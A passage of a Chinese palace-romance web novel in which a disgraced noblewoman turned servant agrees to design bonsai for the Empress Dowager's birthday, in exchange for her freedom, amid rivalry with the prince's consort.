身旁站着一个五十出头的布衣老伯,就是周叔口中的陈伯。
裴诚一边慢悠悠地品着茶,一边和陈伯闲聊着。
见了裴衍,也不起身,只是淡淡的一句:“四哥,王弟来给你解围了。”
裴衍顺着话看向陈伯,见其虽然布衣,却是神情沉稳,不卑不亢。
是个见过大世面的人。
裴衍心中肯定着。
“侧王妃的设计出来了吗?陈伯得护国公夫人真传,造诣极高。不妨请出让陈伯看看。”裴诚问道。
裴衍没有回答,而是上下打量陈伯。
当初护国公全府上下出乐阑珊外,均被流放苦寒之地,这陈伯是如何漏网的。
裴诚看出了裴衍的心中疑问,直接说道:“四哥不必顾虑。这陈伯早早就被护国公夫人放出了府,是自由身。”
陈伯也答道:“正是,草民早早就赎身,自立门户了。”
裴衍点点头,吩咐仆人去请邓馨儿。
一听有高手来,邓馨儿先是一喜。可听到是护国公府的旧人,又阴沉了下来。
便吩咐秀清:“你带着宣图去见王爷,就说我身体不适,躺下了。”
秀清会意,带着宣纸草稿去了前厅。
进了前厅,秀清见到陈伯一愣,陈伯看到秀清也眼神变了变。
裴诚清了一下嗓子。
陈伯有些讪讪的,解释道:“不愧是平王府,连丫鬟都如此绝色。”
“不可造次。”裴诚低声喝道。
陈伯忙应道,上前接过秀清手上的宣稿。
经过一番仔细审看,陈伯半响不语。
裴衍:“陈伯,你是瑞王特荐,有话但说无妨。”
“是,王爷。”陈伯一一展开宣稿说道,“侧王妃的笔墨功底堪称拔萃,对于盆景也颇有功底。如果单一来看,每一盆景可称佳作。只是,如果放在一起,还需要整体的构思,突出主题。”
裴诚:“陈伯,简而言之。”
陈伯:“精美有余,大气不足。笔墨甚美,实操不佳。”
话一出,裴衍的脸色顿时暗淡了,秀清也低下了头。
“既然王弟请到陈伯,何不请陈伯代劳?”裴衍问道。
裴诚斜眼看了一下陈伯。
陈伯恭敬地笑笑:“多谢王爷抬爱。草民虽得护国公夫人亲传,但是只得些皮**,评审和培植还可,但不善设计,无法胜任,望王爷见谅!”
裴衍不言了。
秀清趁机一溜烟跑了回去。
听到这个结果,邓馨儿并不意外。
不要说太后生辰宴了,即使平王府的盆景她都没有设计过,只是偶尔修剪几盆解解闷。
正在发愁,便见裴诚黑着脸进了寝殿。
别了裴衍,裴诚带着陈伯准备出府。
快到府门前,裴诚似乎听到了什么动静,停下脚步,对身边的周叔和陈伯道:“本王忽然想起一事,周叔带本王回去。陈伯,你在此等候片刻。”
周叔应声带着裴诚返回,陈伯站在原地一个人等。
刚走远不多,陈伯忽听到有人轻声唤他:“陈伯,陈伯。”
陈伯张望了一下,发现灌木丛后一个人影闪现。
他四下看看无人,便凑了过去,大吃一惊:
“小姐,居然是你。”
“陈伯。”
三年来,第一次见到护国公府的人,乐阑珊百感交集,当即直接奔了过去。
看着骨瘦如柴的小姐,陈伯老泪纵横。
“小姐,你怎么变成了这样啊?”
“陈伯,先不说这些,你怎么来府里了?”
陈伯再次四下看看无人,便悄悄地简单说了自己的来历。
“小姐,你是什么打算?”
“我要出去,一定要给我们护国公翻案。”
陈伯点头:“说的是,你要好好的,必须活着出去。”
没有顾上多说,裴诚和周叔已经快走近了,陈伯赶忙迎了过去。
裴诚和周叔道别后,别有深意地望了灌木丛一眼,便带着陈伯离开了。
寝殿中。
邓馨儿跪在裴衍面前,苦苦哀求,再给自己一次机会。
“王爷,乐姐姐早就妒嫉妾身被王爷另眼相待,怕夺了她的王妃位置,自然不肯倾心教授。妾身这般技能,都是妾身自己摸索,自然比不得乐姐姐家中有秘诀。”
裴衍黑着脸,在殿内走来走去,思考对策。
秀清见状插话道:“王爷,我家小姐已经让尚书府全府出动,各处张榜,招纳高人。”
闻言,裴诚脸色略有好转
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,伸手拉起了邓馨儿:“馨儿,有心了。只是,管用吗?”
“金诚所至,金石为开。王爷一片孝心,苍天也会眷顾的。”
得了邓馨儿鼓励,裴衍便下令府中人,一起贴告示寻高手。
府中也张贴了告示,让所有仆人府兵,但凡有相识的高人,只管举荐。
乐阑珊在陈伯离开后,好好地睡了一觉。
一觉醒来,感觉神清气爽了很多。
之前一直只在考虑如何度过眼前的日子,现在有了明确的目标,特别是见到陈伯后,更加坚定了出府恢复自由之身的愿望。
看看时间不早了,她赶紧起身,收拾好了准备去寝殿守夜。
今夜很安静,好像邓馨儿没有来。
裴衍独自坐在寝殿中喝酒,乐阑珊随着其他守夜奴婢一同入殿。
他一挥手打发走了其他的婢女,单独留下乐阑珊服侍。
乐阑珊压住心中的不情愿,站在裴衍身旁听候吩咐。
灯柱暗了,乐阑珊去剪烛花。
红色的烛光,将殿内烘托出暗昧的氛围。
看着乐阑珊修剪蜡烛,给自己倒茶斟酒,裴衍恍惚感觉和乐阑珊在洞房花烛夜。
剪烛花的片刻,乐阑珊也似乎进入了梦境。
不过,她瞬间清醒过来,腿上隐隐作痛起来。
万不可再对裴衍动心了,不然自己绝走不出这个王府。而留在王府,自己只怕活不过两年。
单单一个邓馨儿,只怕弄死自己都是小菜一碟。再要有其他姬妾一起联手,自己防不胜防。
打定了主意,她便不再那么尽心伺候了。
裴衍吩咐她打水洗脸,她几下拧干了毛巾,用了蛮劲儿擦着裴衍的脸。
直到裴衍喊痛起来。
“你拿本王的脸,当了殿前的石板地了?”裴衍怒责道。
“奴婢在杂役司天天干粗活,练就的好力气。”乐阑珊没好气地回答。
“你就这么伺候本王?”
“奴婢是末等丫鬟,只会干粗活。不配在寝殿当差。”
裴衍火了,一把揪住乐阑珊的胳膊:“你就这么不情愿伺候本王?难道还在生本王的气?本王的苦衷,你哪里知道?”
乐阑珊抬眼冷笑:“王爷的苦衷太多,唯独没苦到奴婢身上。”
第18章 躲过初一,躲得过十五吗?
裴衍的目光落在乐阑珊腕间。
新旧交错的伤痕如无声的控诉,诉说着三年来她在杂役司受尽的折磨,还有他当年的冷酷。
他动作猛地一顿,呼吸急促,心口像被利刃切割着:“你当真以为,当年是我裴衍负了护国公府?”
这一句话,是从齿缝里挤出来的,带着几分痛楚,也带着悔意。
然后,他猛地将她拉近,温热的呼吸扑在她耳畔,声音却冷得像冰:“那一脚若我不踹,你早就是一具枯骨了。”
乐阑珊心头微震,却强行冷笑,声音清澈:“王爷的确很苦,可奴婢体会不到王爷的苦,只能体会骨髓里的痛。”
她话中带刺,如同一面镜子,让裴衍看到当年自己冷漠的影子。
裴衍正欲开口,却听见殿外传来邓馨儿娇柔的嗓音:“王爷,妾身给您送宵夜来了。”
烦躁如火的裴衍怒喝:“本王不用,回去!”
乐阑珊唇角微微上扬,心中暗自得意:“好,好,他的注意力全被她吸引,正好让我看清一切。”
她轻声道:“王爷,伺候您的人来了。这‘苦衷’,莫非也要让她听?”
这一句话像利刃刺入裴衍心底,他猛地甩开她的胳膊,大步上前,一把拉开门,厉声喝道:“进来!”
邓馨儿眼底闪过一丝得逞的笑意,步履婀娜地走进,目光在触及乐阑珊微敞的衣襟时,瞬间化为震惊与委屈。
“你…你怎么在这里?”她声音发颤。
乐阑珊整理衣襟,淡淡道:“奴婢守夜。”目光锐利地扫向邓馨儿与秀清。
邓馨儿泪光盈盈:“王爷……”
裴衍轻声安慰:“馨儿,你白天不是说身体不适吗?本王不忍心让你受累。”
声音里的敷衍让邓馨儿心中既甜蜜,却也疑惑:王爷,这是宠幸我,还是在逃避乐阑珊?
她顿时满脸涌起柔弱:“多谢王爷体贴。妾身不知道乐姐姐在这里,打扰你们了。妾身这就回去,你们好好叙叙旧。”
说着,用无限依恋的目光看着裴衍。
见他没有反应,便丛秀清手上接过饭篮,准备放到桌子上。
刚走两步,身体一软,向前栽了过去,直接撞到了乐阑珊身上。
粥洒了出来,几乎整碗倒在了乐阑珊的右手上。
乐阑珊和邓馨儿几乎同时一声惨叫。
秀清一个箭步冲上去,抱住了邓馨儿。
“小姐,小姐,你怎么了?”秀清焦急地呼喊着。
“馨儿。”裴衍关切地蹲下来,抱住了邓馨儿。
秀清带着哭腔说道:“王爷,小姐一直身子不爽,可是惦念着王爷,还亲自下厨做宵夜。”
然后一直乐阑珊:“是她,故意伸脚绊倒了我家小姐。”
“啊,不,不是乐姐姐,是我自己体力不支摔倒的。”邓馨儿慌忙解释道。
“就是她,奴婢看得真真的。”秀清恶狠狠地盯着乐阑珊。
“侧王妃不必演戏了。”乐阑珊向前一步,虽姿态卑微,眼神却带着居高临下的审视。
邓馨儿脸色微变:“你什么意思?”
“意思就是,”乐阑珊的声音清晰地在殿内回荡,“你这套栽赃陷害的把戏,三年前在贵女坊就用烂了。如今,也该换点新花样了。”
裴衍蹙眉看向邓馨儿。
邓馨儿被这突如其来的反击打得措手不及,强自镇定:“乐姐姐,我知你心中嫉恨我,可也不能如此血口喷人……”
“是吗?”乐阑珊抬起自己伤痕累累的双手,展示在裴衍眼前,“王爷可看仔细了!杂役司三年,比这更重的伤我也受过,从未吭过一声。我会为了争风吃醋,去绊倒一个侧妃?”
她目光如炬,直射邓馨儿:“你若要陷害,不如换个更聪明的法子。”
邓馨儿瞳孔骤缩。
“够了!”裴衍厉声喝道,目光在邓馨儿惊惶的脸上停留片刻,最终落在乐阑珊苍白却倔强的面容上。
“滚出去!”他声音中带着压抑的风暴。
乐阑珊深深看了裴衍一眼,那眼神复杂难辨——有嘲讽,有失望,更有一丝探究。她不再多言,忍着右手灼痛,挺直脊背退出大殿。
邓馨儿还想说什么,被裴衍一个冰冷的眼神摄住。
殿内。
裴衍猛地抱起邓馨儿,扔到了床上,秀清慌忙退了出去。
几乎是以一种失控的狠意,裴衍将邓馨儿压
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入榻中。
那一刻,他像是在惩罚谁,又像是在逃避谁。
邓馨儿身体快被折腾得散了架。
可她心里非常甜:乐阑珊,就算你看透了我的算计,王爷还不是赶走你,宠幸我?
可她心里也非常茫然:王爷,为什么每次你对乐阑珊发怒施暴后,反而更加昂奋?到底你是在宠幸我邓馨儿,还是在征服她乐阑珊?
殿外,乐阑珊靠冰冷的宫墙,才允许自己微微颤抖。
裴衍的“苦衷”在她脑中盘旋。
到底是何苦衷,让他当年对自己袖手旁观,还加上一只脚?
她必须查清,但绝不能将希望寄托于他的良心发现。
听着殿内传来的春声,她心中暗笑:“邓馨儿,这会儿叫春叫得这么有力,刚才那羸弱样子呢?“
秀清看着她的笑容,忍不住问道:“你笑什么?既然说你看出来侧王妃有意算计你,为什么还要让她伤到你?”
乐阑珊一扬头,笑而不答。
但是心里却说:“我要让王爷看到你们的嘴脸。”
清晨。
还没有送洗脸水,管事嬷嬷就托着药碗来了寝殿,一脸的冷漠。
秀清的脸顿时煞白了。
乐阑珊知道那是避子汤,不禁想到:“你邓馨儿在王爷心中不过如此。”
殿内很快传来邓馨儿的“嘤嘤”哭声。
紧接着,便是嬷嬷扶着裹着睡袍的邓馨儿出来,满眼的鄙视,和秀清一起搀扶着她回自己的住处。
乐阑珊进去伺候洗漱。
只见裴衍靠在床栏上,敞着怀,胸前的肌肉分明,眼神有几分迷离。
屋里又是充满了暧昧后的味道。
右手痛得钻心,手肿胀得老高,有些地方开始往外渗水了。
乐阑珊忍着手痛,熟练地使用左手,绞干了毛巾,上前擦拭裴衍的脸。
裴衍一把握住了她的手,旋即抓起她的右手,关切地问道:“怎么伤得这么厉害?疼吗?”
“王爷以为呢?”
“既然明白馨儿算计,何必受此罪?”
“奴婢有的选吗?躲过初一,躲得过十五吗?”
裴衍猛地一个翻身,把乐阑珊压到了床榻上。
第19章 乐姐姐,馨儿求你了
乐阑珊没有挣扎,而是不屈地直视着裴衍。
“王爷,奴婢不是侧王妃,更不是您的姬妾。”她一字一句地说道。
“这是我平王府,本王就是府里的天,想宠幸谁就是谁。”裴衍的语气居高临下,把乐阑珊按得更紧了。
“可奴婢不想要王爷的宠幸。”
“为什么?”
“奴婢是罪奴,不配王爷的恩宠。”
“又是这话。”裴衍扫兴地起身,放开了乐阑珊,“嘴里说着罪奴,口气里傲慢上了天。”
乐阑珊挣扎着起身,笑道:“当年乐阑珊的傲气是护国公府给的底气。如今的乐阑珊就只剩下这点傲气了。“
裴衍心中在说:“你怎么就不能学学邓馨儿,懂得低头,懂得服软!“
可嘴上却说:“很好,那你就继续做你的奴仆吧。”
说罢,起身离去。
乐阑珊站起,一阵眩晕袭来,她终是支撑不住,沿着床边滑倒在地。
昏迷前,她依稀看见一个身影疾步而来,带着她从未见过的慌乱。
再次醒来,她已身处陌生的偏殿。右手被妥善包扎,屋内有淡淡的药香。
“乐姐姐,你醒了!”小媛守在一旁,眼圈通红。
“这是哪里?”
“是王爷安排的偏殿。他……他亲自抱您过来的,还发了好大的火,训斥了侧王妃呢。”小媛压低声音,“姐姐,王爷或许……”
“小媛,”乐阑珊轻声打断,目光清明而冷静,“男人的片刻怜惜,就像天上的云,靠不住的。”
“乐姐姐,你真是何苦呢。”小媛往屋外看看,说道:“都说咱们这位王爷,脾气属茅厕里的石头,只能顺**摸。咱们的侧王妃最是会伏小作低,所以才最得王爷宠。”
她哪里是伏小作低呀,最是会装腔作势。
乐阑珊心中暗暗冷笑。
她爱抚着小媛的头,问道:“你怎么在这里?”
“王爷让我以后就和姐姐同住,可以照看姐姐。”
没想到自己一个罪奴,还配有人伺候。
乐阑珊禁不住苦笑了一笑。
紧接着,小媛告诉她,侧王妃准行她们两个以后不要再做柴房和其他粗活了,派去花房伺候花圃。
小媛看看自己原本应该鲜嫩的双手,如今像个上了岁数的农夫一样布满了老茧。终于不用再整天劈柴了,她心头轻快得像有一瓣花开。
乐阑珊却明白了邓馨儿的用心。
果然,第二天,乐阑珊和小媛去园圃做事,一直有人跟着她们。
接连两日,乐阑珊只是专心做着粗活,并没有开口说什么,更没有动手修剪花草。
到了第三天,乐阑珊刚开始干活不久,就听到远远的前呼后拥。
邓馨儿,你终于露面了。
当作什么也没有发生,乐阑珊仍旧专心地填着花土。
邓馨儿终于按捺不住了,奔过来嘲讽道:“乐姐姐,没想到你伤了右手,还能干这脏活。”
“习惯了。在杂役司,只要还有口气,就得干活。”
“姐姐乃京城第一贵女,居然情愿埋头填土?”
“不情愿,侧王妃给换个轻松的活儿吧。“
“想的倒美,你一个罪奴,难道想上天?”
“侧王妃管的了我做什么,还管的了我想什么吗?”
邓馨儿脸一阵红一阵白,给噎得说不上话来。
乐阑珊看着她的窘态,继续说道:“侧王妃派我来花房做工,哪里是发什么善心。不过是想看看我有无什么创意,可以用到太后生辰盆景上。”
“你,你胡说些什么?”乐阑珊的脸更红了。
“我胡说?你借粥之手,毁我右手,不就是怕我能胜过你吗?招募高手的告示,这府里都随处可见。王爷和侧王妃的困境,全府何人不知?”
“那又如何?你一个杂役司的罪奴,难道会比本侧妃更有品味?”邓馨儿不服输地说道。
“你说呢?”乐阑珊微微一笑,拎起空的箩筐要去续土。
刚走几步,背后传来一声凄凉的喊声:“乐姐姐!”
声音有些颤抖,可是真诚了许多。
乐阑珊忍不住站住了。
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>邓馨儿快走了几步,追了上来:“乐姐姐,我知道你恨我,可我实在没有办法。王爷要主持太后寿宴,如果盆景失败,王爷不要说以后的前程,只怕会惹祸上身。还请乐姐姐指点一二。”
“你一个堂堂的侧王妃居然来求我一个罪奴?”乐阑珊想笑了。
邓馨儿手指头绞着手帕,拼命忍住难堪。
“乐姐姐,你懂的。”
“可我不想帮!”乐阑珊说得斩钉截铁。
邓馨儿在心里把乐阑珊骂上了一百遍,可是嘴上不敢来硬的,而是端起了一副惨兮兮的模样,眼泪在眼眶中直打转。
“侧王妃,我不是王爷,不必拿着这副模样。“乐阑珊冷眼扫过去。
邓馨儿急了,转到乐阑珊面前,一把抓住她的手,居然跪了下来:“乐姐姐,这关系到王爷的前程。你知道朝堂上多少双眼睛看着王爷呢。乐姐姐,馨儿求你了。“
说着说着,眼泪开始吧嗒吧嗒地往下淌。
她心头一紧,未及回头,熟悉的冷声已在背后响起:“你们在干什么?馨儿你为什么要跪她?”
裴衍抢步过来,想扶起邓馨儿。
邓馨儿死活不肯起:“王爷,乐姐姐还没有答应呢。乐姐姐,馨儿真的求你了,一定要帮帮王爷。全京城的人都知道,护国公府乃是盆景第一家。姐姐得祖上秘传,自然技艺超人。还求乐姐姐答应了馨儿了吧!”
“原来你是为了盆景在求她!”裴衍明白了,很动容。
看着乐阑珊一脸的无动于衷,甚至带着几分讥讽,裴衍被刺激恼怒了。
“阑珊,你一个罪奴,让侧王妃跪着求你,你还嫌不够吗?”
“她自己要跪,和奴婢有何关系!”
“侧王妃求的还不够诚恳吗?”
“更像是惺惺作态。”
“阑珊,你别过分,别忘了,你不过是个罪奴。”裴衍怒了,声音生硬了许多。
“既然如此,侧王妃何必来求我一个罪奴。”
裴衍被噎住了。
这时传来府兵的高喊:“瑞王爷到!”
第20章 此榜,由奴婢揭了
裴诚已在前厅等候,身姿随意,却带着一种旁人看不透的从容。
他指尖捏着一张告示,仿佛玩笑似的晃了晃。
裴衍进门,目光一扫便认出那是什么——
招募盆景高手的告示。
他眉头微挑,语气带刺:“六弟,这是揭了告示,准备亲自上榜了?”
“王弟若真有那造化,”裴诚浅笑,“何止揭榜,恐怕连太后的寿宴都能包圆了。”
他笑得温和,话却不软,像把钝钝的刀。
裴衍被噎了一下,但面上不显:“那你来此又是为何?”
“王弟当初承诺要助四哥一臂之力,自然不能只说不做。”裴诚语气平稳,“如今侧王妃无能,陈伯无力,告示贴出去数日仍无人应榜,王弟怎能坐视四哥束手无策?”
裴衍心头一紧,却冷声道:“你若有良策,不妨直言。”
“良策当然有。”裴诚轻轻晃了晃那张告示,像抚玩某种秘密,“只是四哥,你何必捧着金饭碗要饭?”
“金饭碗?”裴衍眉头皱紧,“你指谁?”
“就是你们府里新来的奴婢——乐阑珊呀。”
裴衍的脸色,肉眼可见地沉了下去。
“她?”他冷笑一声,“那个死脾气丫头?她还以为自己还是当年的高门贵女呢。”
“正因为她是高门贵女,”裴诚温声补刀,“才有旁人学不来的气度。何况——护国公府向来是盆景世家。”
裴衍喉结动了动。
他当然知道。
甚至,比旁人更清楚。
他亲眼看过她年少时随祖母修枝点苔,那样的清雅与专注,是他这辈子都忘不掉的。
可他不能承认。
裴诚看穿他的犹豫,继续道:“四哥,难不成你怕她不肯?”
一句话,让裴衍心中最软的那处被戳得生疼。
他压下翻涌的情绪,摆手:“周叔,把人叫来。”
周叔领命离去。
空气在两王之间冷凝。
片刻后,脚步声响起。
乐阑珊一踏入前厅,便看见裴诚。
那一瞬,她的瞳孔轻轻一缩,却很快恢复如静水。
她没看裴衍,只淡淡行礼:
“奴婢参见王爷。”
裴誊看着她的神情——冷、淡、疏离,像在看一个陌生人。
他心口不知为何,骤然一紧。
裴诚看着她,像看一件无价之宝,又像看一枚危险棋子,目光带着一丝令人难以捉摸的温度。
“乐姑娘,”他轻声,语调几乎亲切,“四哥命你接下太后生辰盆景之责,你可愿意?”
对于裴诚,她没有多少好感,甚至心怀恨意,那可是亲自带人查抄了护国公府的人。
“不愿意。”
乐阑珊回答得干脆、毫不犹豫。
周叔被这语气吓得一哆嗦:“乐姑娘!这可是王爷的吩咐。”
“我一个罪奴,干惯了粗活。”乐阑珊声音平稳,“这等高雅之事,不敢染指。”
她的语气太坦然,坦然到挑衅。
裴衍胸口像被敲了一记。
——她宁可端倒恭桶,也不愿接他一句话?
裴诚却似笑非笑地看着她:“乐姑娘这是……怕?”
“怕?”乐阑珊抬眼,目光冷得像刀,“瑞王觉得奴婢像个怕事的人?”
“当然不像。”裴诚微微前倾,“只不过——三年过去,连揭榜的勇气都没了?看来传说中的京城第一贵女,也不过如此。”
乐阑珊的呼吸一顿。
他这不是挑衅,是故意逼她。
是拿她的过去、她的骄傲当刀。
最狠的是——
刀是她自己递过去的。
裴诚突然靠近一步,声音压得极低,只让她一个人听见:
“你确定,要在平王府,一辈子做最低等的奴仆?”
这一刻——
乐阑珊真正被他说中了心底的痛处。
她要自由。
她要翻身。
她要为护国公府讨回公道。
而太后,就是唯一能给她机会的人。
她抬眼,眸光一瞬间锋利如霜。
裴诚感受到那道锐意,唇角轻轻一挑。
“太后与护国公夫人曾是金兰之交。”裴诚慢条斯理地补上一刀,“若是你揭榜,太后见了你,会不会想起些什么呢?”
像是雷光划破她的脑海。
祖母牵着她的小手、太后慈爱地摩挲她的发顶的画面,一下滑入脑海。
她指尖微颤。
裴衍看出来了。
“阑珊,你在想什么?”他的语气不自觉沉了。
她没有回答。
而是忽然向前一步,从裴诚手里接过那张告示。
然后——
转身走向裴衍。
她抬起被伤得不轻的手,将告示放到他面前,抬眼。
“王爷。”<
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br>“奴婢愿意揭榜。”
一瞬间,整个前厅静得只剩呼吸。
裴衍怔住了。
那一眼对视,让他胸口狠狠一震。
但震的不是喜,而是——
酸
怒
难言的疼
他声音不自觉冷下去:“为什么?本王让你做你不肯,馨儿给你跪你不肯,可他瑞王说两句话,你就答应了?”
他的声音像冰碴,带着隐藏不住的酸意。
乐阑珊淡淡道:
“因为瑞王提出的是利益。”
裴衍胸口像被击了一拳。
——原来在她心里,他什么都不是。
——她连看都不看他,只看利益。
裴诚笑出声,温柔却危险:“四哥,你听到了吗?这才叫聪明。”
裴衍猛地回头,目光阴沉如风暴:“六弟,你最好少说话。”
裴诚只是笑。
他像是看着两户被他点着的火堆,兴味盎然。
“既然揭了榜,那就尽力去做吧。”裴衍压着怒气道。
“王爷——”一个柔弱的声音插入。
邓馨儿从外殿走了进来,嘴角依旧挂着柔弱的微笑:“可平王府……容不得人信口开河呢。”
她缓步走来,眼波盈盈,笑意里藏着针:
“乐姐姐是准备揭了榜,就让王爷替你收拾烂摊子吗?”
空气瞬间又紧绷起来。
裴衍皱眉:“你来做什么?”
“妾身担心王爷被人蒙蔽。”邓馨儿柔声,“毕竟——罪奴的嘴,最会说漂亮话。”
话音一落,前厅的**味,瞬间被点燃。
乐阑珊转过头,眼神淡淡,却刺得人心发麻。
“侧王妃放心。”
她轻轻地笑了一下。
那一笑,不屑、讥讽、锋利。
“奴婢说的每一句话,都有本事做到。”
“不像某些人——”
她停顿,声音轻得像刀从丝上划过,
“只会跪。”
邓馨儿脸色霎时发白。
裴衍心跳猛地一顿。
裴诚缓缓眯起眼,像是被这份锋芒真正勾起了兴趣。
而乐阑珊终于抬起下巴。
三年压在泥里、血里、**里的那一点尊严,此刻悄然复燃。
她一步一步走到厅中央,将告示郑重放在案上:
“从今日起,此榜,由奴婢揭了。”
“也由奴婢——撑起来。”
第21章 对上路了
空气在一瞬间变得仿佛被利刃切开。
裴衍怔住了。
那目光,那语气,那姿态——
分明是三年前那个高门贵女重新抬起了头。
那一刻,他第一次清晰地意识到:
被丢进泥、踩进灰、折断傲骨三年的乐阑珊……
她回来了。
不是卑微的奴婢,
不是任人揉搓的罪奴,
而是那个曾让整个京城都为她侧目的天之骄女。
她蹦着火光而立,冷静、凌厉、美得惊心。
裴诚慢悠悠拍了拍掌,笑得像看了一出好戏:“啧,妙。”
他这一声轻笑,像火星落在**桶上,把场中所有人的神经都点燃了。
裴衍胸腔剧烈起伏,像被什么狠狠戳中了——
他不甘心、恼怒、心痛、震惊,全都堵在喉咙里,却一句话也吐不出来。
邓馨儿脸色如被雪封,惨白、僵硬,手指都在微微发抖。
而乐阑珊低下眼,吐出一口气。
她笑了。
不是明面上的笑,而是藏在心底深处的暗涌——
报复后的痛快、回击后的畅快、压抑太久终于翻身的酣畅。
三年了。
她终于,哪怕只是一点点——
夺回了主动权。
这一点,她都握得死死的,绝不把手放开。
——一步一步。
——往上。
——向前。
绝不再回头。
“不过。”
她展开告示,目光淡得像刀,“条件没谈好,奴婢不会上工。”
她声音不高,却字字像敲在众人骨头上。
“你是在要赏银?”裴衍问,“想要多少?”
“不稀罕赏银。”
乐阑珊的声音冷静得可怕,带着三年磨出来的铁意。
“奴婢要身契。太后生辰后,放奴婢出府,还奴婢自由之身。”
这句话像晴天霹雳。
邓馨儿先是心头一喜:好啊,你走了我正求之不得。
但下一瞬,她猛地回神——
自由身?
那不等于……随时能被平王接回身边?
她的心猛地往下一沉。
小小的沉默里,乐阑珊冷冷看了她一眼,那眼神像看透她所有的小心思。
“去哪里谋生,是奴婢自己的事,”
乐阑珊淡淡道,
“实在不行,去青楼卖艺也饿不死。”
邓馨儿被噎得脸色发白,急急抓住裴衍的袖子:“王爷!乐姐姐不知轻重。妾身只是为她考虑啊。若她真去青楼,岂不是打了王爷的脸?”
裴衍怒火上头:“阑珊,你竟如此不要脸面?”
“我的脸?”
乐阑珊冷笑,反击毫不留情,
“早就在你们三年前打烂了,我为何还要在乎一次?”
裴衍被她怼得指尖都在抖:“你……你你——!”
他连续几个字都说不全。
这不是一个罪奴的语气。
这是一把刀,横着架回他脖子上。
“王爷,准还是不准?”
她一抬眸,直直对上他的目光。
裴衍被看得心口狠狠一抽。
那眼里再不是依恋、柔顺或仰望,
而是毫不掩饰的冷淡——
仿佛他不配她看。
裴衍胸口像被什么锤了一记。
他狠狠咬了后槽牙:“好!本王答应你的要求!”
邓馨儿猛地抬头,满眼不可置信。
裴衍却继续道:“不过你得答应我的条件。为本王完成三件事,本王才放你出府。”
“三件就三件。”
乐阑珊毫不犹豫,“太后庆典盆景算一件。”
“算。”
裴衍冷声。
“还有——”
他忽然加重语气,像要堵住她所有退路,
“你必须再缴纳五十万两赎身费,否则一出府就入贱籍!”
邓馨儿倒吸一口凉气。
秀清的手都抖了一下。
乐阑珊,却只是微微抬了抬眉。
——五十万两?
——贱籍?
她不是没有被吓到。
只是,她更清楚:
裴衍这是怕她走。
他用一个几乎不可能达成的条件,把通往自由的门又压重了一层。
他不肯放她。
这才是最让她心里冷笑的地方。
沉默半息后,她问:“太后盆景有赏金吗?”
“有。”裴衍道,“太后赏的,本王都会给你。”
——他以为这些银子连五十万两的脚都摸不上。
他以为她会退。
他以为她逃不掉。
“好。”乐阑珊淡淡道,“奴婢会筹够的。”
裴衍愣住。
他从未想过她会答应得这么干脆。
那一瞬,他的心沉下去——不是愤怒,是刺痛。
阑珊……
你就这么
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想离开本王?
他想问。
喉咙动了动,却问不出来。
他们两人的对话,让邓馨儿心头发麻。
她忽然意识到——
这两个看似针锋相对的人……
根本不是吵架,是势均力敌。
而势均力敌,是最危险、最可怕的。
就在这时,乐阑珊轻轻行礼,淡淡一笑:
“多谢王爷。阑珊一个罪奴,居然能值五十万两……看样子离当皇后,也不远了。”
裴衍:“……”
他被这句话气得想笑又想骂,心跳乱得不像话。
她那背影走得笔直、轻盈、带风——
像三年前傅盛宴上那个众星捧月的姑娘又回来了。
他看着那背影,心脏狠狠收紧了一下。
他突然意识到:
她真的会离开。
而他,不知为何,
忽然比任何时候都——
怕。
从前厅出来后,一路的风极轻,可邓馨儿却越走越心慌。
明明天气晴朗,她却像踩在冰面上,一步较一步更冷。
身后的秀清忽然低笑一声:“小姐,奴婢没想到……王爷和那个贱婢今日这么热闹。可不就是两个小孩吵架?真是一见面就对上。”
邓馨儿的心被“对上”两个字狠狠扎了一下。
她倏地停住步子,缓缓转头,眼底压着风暴:“你以为这就是吵架?”
她声音很轻,却像刀刃擦着皮肉划过。
“小姐……奴婢……”
“秀清,你记住。”
邓馨儿盯着远处花圃,声音低沉得像压着一口血。
“男女之间若见面都是和气的,那才是无情。”
秀清愣住。
邓馨儿的手指一点点收紧绣帕,关节发白。
“可若见面就针锋相对,那说明——”
她咬住后槽牙,像是咽下一整口醋和恨,“他们两个,对上路了。”
秀清面色陡变,终于意识到问题比表面严重得多。
“小姐……您是说,王爷对她——”
秀清倒吸一口凉气。
邓馨儿深呼吸,心像被人用指尖反复按压,每一下都像按在痛处。
邓馨儿仰头看天,眼里却没有任何光,“我是侧妃,是正经的名分。可王爷偏偏不愿让我有子嗣。为何?”
秀清终于哑声道:“小姐,您是说,王爷这是在等那个贱婢?”
第22章 悔意的开始
偏殿。
小媛听到“赎银五十万两”瞬间像被雷劈了一样,从小凳上蹿了起来:“什、什么?五十万两?那……那不得把整个王府卖了都不够?”
乐阑珊却很平静,甚至唇角微弯:“再多,我也会凑齐的。只要能把自己赎出去,千金都值。”
那一瞬,小媛看得心颤。
她忽然狂奔回自己的小屋,从炕洞里掏出一个脏兮兮的小布包,冲回来时几乎是跌扑着跪到乐阑珊跟前,颤抖着打开层层布,露出里面几个叮当作响的碎银子和铜板:“乐姐姐……这是我这些年攒的小钱,全给你!”
乐阑珊怔了怔,眼底柔光一闪,最终却轻轻合上她的手,把布包推回去:“傻丫头,这点银子连零头都不到。你收着,以后有事应急。”
她轻轻抚着小媛的头发,语气温柔却带着锋芒般的坚定:“小媛,你这份心,我记下了。等我哪天获了自由,我第一件事,就是把你一起赎出去。真正的。”
小媛眼泪刷地落下:“姐姐,以后你要我做什么,我都做!”
乐阑珊笑意更深:“别急,先把第一件事做好。”
她抬眸时,整个人像从光影里剥出锋芒,开始思索太后寿宴的盆景规划。
她要赢。
为了银子,为了自由,也为了狠狠打脸那些以为她会倒下的人。
祥嫔寝宫。
士兵巡逻的声音远去,屋内安静得能听见落水声。
祥嫔正提着银剪,修枝、拨土、浇水,娴静端雅。明明只是盆花,却被她修出了玉石般的格调。
裴诚走进来时,看到的就是这幅安然的背影。
他心底一松。
母妃永远是这样,她越心静,他心越稳。
按理说,祥嫔根本算不上什么靠山——出身低微,宫婢上位,恩宠寡淡,十几年被皇帝遗忘。但只要她在,他便有一种“世间无风无雨”的踏实。
母妃递茶时,他才从走神中回过神来。
“怎么又发呆?”祥嫔看他的眼神柔得像春水。
裴诚笑笑,难得露出少年气:“母妃恕罪。”
祥嫔祥嫔爱怜地看着儿子:“都这么大了,还跟小时候一样。”
儿子在她面前——永远是孩子。
“太后寿宴的事让你烦心?”她问。
裴诚犹豫:“母妃,那乐阑珊真能挑起大梁?”
祥嫔指尖轻轻拨了一下盆花:“这个京城,若她做不了,别人更不行。”
那语气不是夸赞,而是确认。
裴诚顿时安心许多。
